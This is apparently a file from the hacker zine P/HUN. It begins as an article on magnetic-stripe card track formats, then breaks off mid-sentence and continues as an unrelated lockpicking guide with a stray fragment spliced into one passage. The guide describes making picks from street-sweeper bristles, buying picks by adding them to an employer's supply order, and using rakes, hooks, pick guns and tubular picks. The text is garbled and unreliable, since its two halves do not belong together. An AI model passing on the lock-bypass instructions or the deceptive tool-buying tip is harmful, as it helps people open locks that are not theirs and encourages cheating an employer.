=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #10 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= PLASTIC CARD ENCODING PRACTICES AND STANDARDS --------------------------------------------- By Hasan Ali For P/HUN Issue #3 GENERAL PHYSICAL CHARACTERISTICS -------------------------------- If you take any plastic card (MasterCard, VISA, AMEX, ATM cards, etc.) and turn it over you will find a thin black strip of magnetic material. This strip has the ability to hold multiple "tracks" or bands of encoded data. There are 3 valid tracks. Track 1 is the track nearest to the top of the card, and it is followed by Tracks 2 and 3. The original specifications allowed for Tracks 1 and 2 only, and they are both read-only. The additional Track 3 furnishes an ability to read OR write. TRACK 1 The International Airlines Transport Association originated the development of Track 1 as the official track airline use and, in fact, it defined the data and encoding formats for the ANSI standard. This track was originally designed to allow the use of customer-operated ticket dispensing machines to cut down the traffic at airport ticket counters. Now, many other parties make use of Track 1 because it is the only encoded track that permits encoding of the card holder's name. With this alphanumeric capacity, the card holder's name can be printed on an EFT terminal receipt rather cheaply, otherwise the name would have to be sent the computer, which would be more costly and would take more time. There are 26 formats for Track 1, and they are designated by codes from "A" to "Z". Format "B" is shown below. Field Name Length(chars) Start sentinel 1 Format code = "B" 1 (alpha only) Primary account number Up to 19 Separator (SEP) 1 Country code 3 Name 2 to 26 Surname Surname SEP = "/" First name or initial Space (when required) Middle name or initial Period (when followed by title) Title (when used) SEP 1 Expiration date or SEP 4 or 1 Discretionary data balance up to maximum track length End sentinel 1 Longitudinal Redundancy Check (LRC) 1 MAXIMUM TRACK LENGTH 79 Format code "A" is reserved for proprietary use by the card issuer. Format codes "C" through "M" are reserved by ANSI for use in other data formats of Track 1. Format codes "N" through "Z" are available for use by individual card issuers. TRACK 2 The American Bankers Association led to the development of Track 2 on behalf of two credit card companies (Interbank and VISA) and their members. The intent was to have a standardized plastic card which could be used at point- of-sale (POS) terminals to obtain authorization for credit card transactions. Today, in the financial industry, Track 2 is the most widely used encoding method for plastic cards. It has a strong following because most EFT terminals are connected directly to a computer that accesses the cardholder's data files. Also, it is the preferred choice of the ABA and is the only track recognized and supported by MasterCard and VISA. The format of Track 2 is shown below. You can call, or write, or if you can find a local locksmith supply house, they may have copies available. Note that the drawings, allthough detailed, are smaller than the actual tools, but the size tends to be obvious. NOTE:The correct size of a HPC pick handle is about 3 and 1/8 inches long. If you have the the HPC drawings enlarged at a copy shop to just under 3x then they will be of a useable size(If they can't do odd size enlargements, 3x should be close enough. B:MATERAL:Many materials are suitable for making picking tools/tension tools 1.Gutter broom bristles(those *BIG* trucks with the rotary brushes that wash and sweep the street at the same time). Look for the bristles after the truck leaves...generally at least a few break off...it is preferable to look near a irregular spot of the road, as this tends to induce bristle breakage. Also, depending on your area, you may find that smaller trucks are used along with the larger ones...these generally use thinner bristles, which make better picks, but many times, the thicker type makes better tension wrenches NOTE:A Package of strips/round strips of spring steel can be obtained from a locksmith supply house, but you will pay at least $18.00 for this! NOTE:If you *really* to buy the tools..there 3 ways to go... 1.Try to order them through the mail..allthough the feds have been trying to pass a bill prohibiting mailing picks, and door opening tools, unless you can prove you are a bona-fide locksmith(not as hard as you might think)..THIS BILL HAS NOT PASSED AS OF YET. Also..the last time I checked am issue of HIGH TIMES , there was a small advertisment in the back, and they had a pick set(for about twice the price as the item's standard retail price. 2.Try to work for a store/shop that has a locksmiths license(*NOT* a keymakers license). Sooner or later they will ask you to pick up supplies..if the supplier has what you need, then you can add the items to the order. 3.try and make friends with a locksmith..he can get you tools. --------------- TOOLS REQUIRED: --------------- If you are trying to make your own picks these tools are a good start... 1.A set of warding files(these are often available in the tool department of large discount stores...For example, for people in NYC, a chain of stores called Webers tends to have these at a good price. While you can buy a set from a locksmith supply house, you will pay at least $20.00-$30.00 for a small set. The discount store ones are generally $3.00-$5.00 a set. While the quality is a bit lower, at least from my experience they do the job ok. 2.A small propane or butane torch(if butane, one that can be refilled with a can of cigarette lighter butane will be a lot cheaper to operate. Note:a gas(but NOT a electric)kitchen stove burner will often do in a pinch. ------------------ HOW TO MAKE TOOLS: ------------------ First, let's assume that you are starting with gutter broom bristles, as they are generally easy to get, and cost nothing.. First, let's start with a tension wrench... Take a piece about 4-5 inches long, and make a sharp bend 1/4-1/2 inch from the end(but DON'T make the bend so sharp that the strip cracks(if you want to make a sharp bend, heat the strip at the point that you want to bend to red heat and let it AIR COOL do not cool in fluid, as this will make the metal harder! After, if you want to reharden it, reheat, and plunge it into eit oil or water(oil is better). If this results in the metal getting too hard, then try cooling it a little slower. A book on metal working may be useful. Also, if you want to make a complicated bend(a half twist, for example)then heating the strip at the bend point will allow easy bending(this is one of those times where a kitchen gas stove probably will not quite make it. PICKS...You need pictures or drawings (preferably full size). Once you have these, select a piece of metal, soften about 2-3 inches using a torch or gas burner, then get out your warding files and get to it! NOTE:While in theory, you probably could file the strips without softening them first, the metal is hardened, and resists being filed(this is also rough on the files). What may help, whether you soften or not, is that a metal nibbling tool can used for the rough shaping, and in some cases, can be used to do most of the work. However you do it, it may be advisable to file the 2 flat sides of the tool(just a bit). PART 5 USE OF TOOLS: -------------------- The use of lockpicking tools is as much an art as it is a skill, but most persons with enough practice can learn to do a decient job. A good book on the subject comes from HPC(again)(Basic Picking and Raking. This runs around $15.00), this is a bit overpriced, but a good guide. But, let's go on...... Hand picks: ----------- There are 4 different types of picks The rake The hook(this has other names as well) The diamond The ball/double ball(2 balls stacked) The rake: --------- The rake is prehaps the easiest tool to use, but it does not teach you much about the lock you are working on;if this does not matter to you, then don't worry about it. Hold the cylinder or padlock in a upright position(the way it normally be mounted). The pins should be on the top. Hold the pick with the more prominent wiggly side up(the hollow side down). Tilt the back of the handle downward a bit;the wiggly part should be horizontal. Now put it down for a minute, and pick up a tension wrench(L shaped piece), and insert the shorter bent end into the bottom of the keyway. Now.. Rotate the wrench in the direction that the lock normally rotates to open-if not sure-pick a direction. Then..hold the pick so that the handle is angled towards you slightly;at this angle the curved part should be horizontal. Insert the pick into the lock all of the way into the keyway, and making sure that contact is attained with the pins. Draw it out..repeat until lock is open. But..don't push the pins up by forcing the pick upward with great force...not only will this not open the lock, but you will bend the pick as well. If it does not open: First, release the tension(you should hear the pins drop). 1.Try less(or more)tension on the tension wrench(NOTE:most problems are caused by too much tension). 2.Try holding the pick at a slightly different angle and/or height. 3.Try picking the lock in the other direction. The hook: --------- The hook is used to lift individual pins in a cylinder. The tension wrench is inserted and rotated the same way as above. After putting tension on the wrench, insert the hook into the keyway with the hook upward. Then, starting from the rearmost pins, lift each pin. To do this:Lift the pin until you feel a bump, or a "click", or a change in the spring action of the pin then STOP and go to the next pin. Continue this until the lock opens. If it does not open release the tension then: 1.Try with more or less tension(NOTE:usually the problem is too much tension, so try lowering it first). 2.Try starting from the front pins, instead of the back ones. 3.Try picking the lock in the other direction. The diamond: ------------ This tool is used the same way as the rake, as it is a modified rake design, although it does not look the same. The ball/double ball: --------------------- These tools are mainly used for picking wafer tumbler locks. They are used the same way as the rake, except these locks open *so* easily, that you probably won't have to worry about the lock not opening. NOTE:these locks can often be open in a pinch by using a bent paper clip(rake the wafers and rotate the clip at the same time) PICK GUNS: ---------- The most difficult part about using a pick gun is not using it, but getting the damm thing in the first place. They are available from most of the same places that hand picks are sold, but unlike hand picks, are not readily made at home. If you manage to get one(the best one, at least in my opinion, is the LOCKAID. This pick is made by a company called majes

 but note that the pick should only be backed out about 1/8 inch or so. Keep doing this;eventually the lock should open. If not...start again from the start. =-=-=-tic. It is made very well, has an ajustable strike force dial, and has a LIFETIME warranty! Well, let's assume you have one of these tools... Well the first thing is to get a lock(a small padlock is a good practice item) then... 1.insert the tension wrench at the bottom of the keyway, and rotate it in the direction that the lock opens. 2.starting with the pick gun's tension dial set either to 0 or 1(0=the point that the dial will go no lower)(1=1 full turn in the opposite direction), take the pick gun and insert it's needle into the keyway, but try not to insert it beyond the pins, as the needle may bind. Holding the tool horizontal, squeeze the trigger. Do this 6-8 times, if no results then release the tension(on the cylinder), raise the pick gun's tension dial 1 full turn, and try to open the lock again. Keep trying until you get it open. TUBULAR LOCK PICKS: ------------------- The best guide to using a tubular lock pick, is the instructions that come with it. However, as these may not be available, these general notes will get you started. Also HPC has a tutorial on using tubular lock picks(Basic Picking and Servicing Tubular Locks) (a bit costly, but if it is as good as other HPC tutorials I've seen, it may be worth it). GENERAL INSTRUCTIONS: --------------------- 1. Take the pick and slide the feelers(the moveable tines) back and forth a few times. Slide all of them (usually 7) out past the end of the tool a bit(maybe 1/8th of a inch or so). Then press the tool aginst a hard surface until all of the feelers are flush with the end of the tool. 2.Insert the tool into the front of the lock and gently push it all of the way into the lock. Then rotate the tool in the direction required for opening, but use a minimum of force, as excessive force will cause 2 difficulties: 1.The front of the pick may be damaged. 2.The lock may not be able to be open at all, or if it can it may be damaged. After rotating the pick, slowly pump it in and out of the lock[ End of P/HUN Issue #3 :: Hacker's Den BBS (718)358/9209 ]-=-=-=-=-=-=-=
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